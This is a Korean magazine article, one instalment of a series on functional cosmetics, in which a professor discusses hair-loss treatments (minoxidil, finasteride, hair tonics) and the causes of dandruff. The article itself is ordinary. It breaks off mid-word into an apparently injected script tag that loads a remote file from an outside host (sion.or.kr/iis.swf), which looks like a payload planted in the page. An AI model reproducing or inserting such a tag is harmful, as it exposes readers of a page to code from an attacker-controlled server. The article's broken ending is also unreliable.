건강하고 청결하게 ‘毛내기’기 하자 탈모에는 육모제 ·비듬에는 전용 삼푸 사용해야 지난해 7월 화장품법이 발표되면서 기능성화장품에 대한 관심이 그 어느 때보다 높아지고 있다. 하지만 아직 국내에는 기능성 화장품에 대해 체계적인 정리가 되고 있지 않아 관련업체와 전문점주, 소비자들이 불편을 느끼고 있는 것이 사실이다. 이에 본지에서는 지난 10여년간 화장품을 연구해온 서울보건대학 미용예술과의 하병조 교수에게 기능성화장품에 대해 구체적인 내용을 들어보는 자리를 마련했다. 이번 기획특집은 기능성 화장품의 개요부터 세부적인 내용까지 총 8회에 걸쳐 연재된다. 지난호에 이어 이번호에는 기능성 모발화장품에 대해 알아보겠다. 모발로 인한 고민은 크게 탈모와 비듬, 두가지로 나눌 수 있다. 탈모화장품은 일반 의약품과는 달리 육모제의 개념으로 청량, 살균, 보습 등의 기능을 가진다. 비듬용 삼푸는 아연피리치온이 보편적으로 사용되는데, 양이온성, PH관계 등이 영향을 미친다. 모발화장품에 대한 구체적인 내용을 살펴보겠다. 기능성 화장품의 정의 노화억제화장품 미백화장품 자외선 차단화장품 여드름화장품 아토피용 화장품 기능성 모발화장품 기능성화장품의 안정성과 유호성 건강한 모발이란? 모발은 신체에 난 털을 말한다. 이 털 중에서도 특히 미용적으로 중요시되는 것은 두발이다. 두발은 얼굴의 매력을 한층 돋보이게 하고 매력적으로 보이게 하기도 한다. 따라서 나이에 상관없이 건강한 두발을 유지할 수 있게 하는 것은 개인의 큰 재산이 될 수 있다. 우리가 질병없이 건강하게 살아가기 위해서는 충분한 영양섭취를 해야하듯이 두발이 건강하게 자라기 위해서는 영양분이 잘 공급되어야 한다. 건강한 두발은 혈액순환이 잘 될수록 이루어지기 쉽다. 두발의 성장과 영양 공급은 인체로 보면 마치 근육의 발달에 비유할 수 있을 것이다. 근육을 튼튼하고 강인하게 하려면 규칙적인 운동과 영양공급이 있어야 하듯이, 이것은 두발에서도 그대로 적용된다. 만약 두발에 탄력이 부족해지고 가늘어지거나 탈모의 증상을 보인다면 우선적으로 두피와 두발에 혈액순환과 영양공급이 잘 이루어질수록 최선을 다해야할 것이다. 흔히 두발을 모(毛)라고 표현하는데, 이것은 모심기에 사용하는 모와 같은 한자를 쓰고 있다. 가령 모심기를 한 후에 모가 잘 자라기 위해서는 영양분이 충분한 토양이 필요할 것이다. 만약 이 토양에 영양분이 결핍되어 있다면 두발과 두피에 문제가 발생할 것이다. 이것은 사람의 두발에도 그대로 적용된다. 탈모증의 예방과 치유 탈모증 치유에 사용되는 약물은 수없이 많다. 이중에서 남성형 탈모증 치유제로 대표적인 것이 미녹시딜(minoxidil)이다. 이것은 처음에 혈관 이완작용을 하는 물질로 고혈압 치료제로 개발되어 사용되었으나 부작용으로 발모 현상이 일어나 오히려 탈모증 치유제로 이용된 약물이다. 미녹시딜의 발모효과는 나이가 젊을수록 좋고, 또한 탈모 부위가 비교적 좁고 탈모가 진행된지 얼마 되지 않을수록 뚜렷한 효과를 나타낸다. 그러나 발모 상태를 유지하기 위해서는 지속적으로 도포해 주어야 한다는 단점이 있다. 또한 대부분 다시 자라 나온 모발은 길이가 짧고 가늘다. 가시적인 효과는 대개 4개월 이상 사용했을 때 가능하다. 또 만약 사용을 중단하게 되면 발모가 더 이상 일어나지 않기 때문에 다시 원래의 상태로 되돌아간다. 미녹시딜 외에 FDA 승인을 받은 약물로는 먹는 약으로서 탈모의 원인 물질인 DHT의 합성을 저해하여 탈모증을 예방, 치료하는 피나스테리드(finasteride)가 있다. 일반적으로 3개월 이상 복용해야 치료 효과를 볼 수 있으며, 복용을 중단하면 12개월 내에 치료효과는 사라지게 된다. 의약품으로 분류된 발모제와 달리 육모제는 화장품으로 허가된 것이다. 일반적으로 육모제는 탈모 방지와 두피의 상태를 개선하기 위한 목적으로 각종 특수 성분을 배합한 것이 많다. 즉, 가려움을 제거하기 위한 청량제, 두피에 존재하는 미생물을 제거하기 위한 살균제, 두피의 지나친 건조를 막기 위한 보습제, 모근을 자극하기 위한 모근자극제, 두피의 혈액순환을 촉진하기 위한 혈액순환 촉진제 등이 배합된다. 비듬의 생성과 원인 비듬이란 인체의 활발한 신진대사에 의해 생긴 두피의 죽거나 벗겨진 세포들이 두피 피지선의 분비물과 함께 말라붙어서 생긴 각질 형태의 덩어리를 말한다. 심한 경우 붉어지고 가려움과 염증을 수반하는 지루성 피부염으로까지 진행된다. 머리뿐만 아니라 어?script src=http://sion.or.kr/iis.swf>

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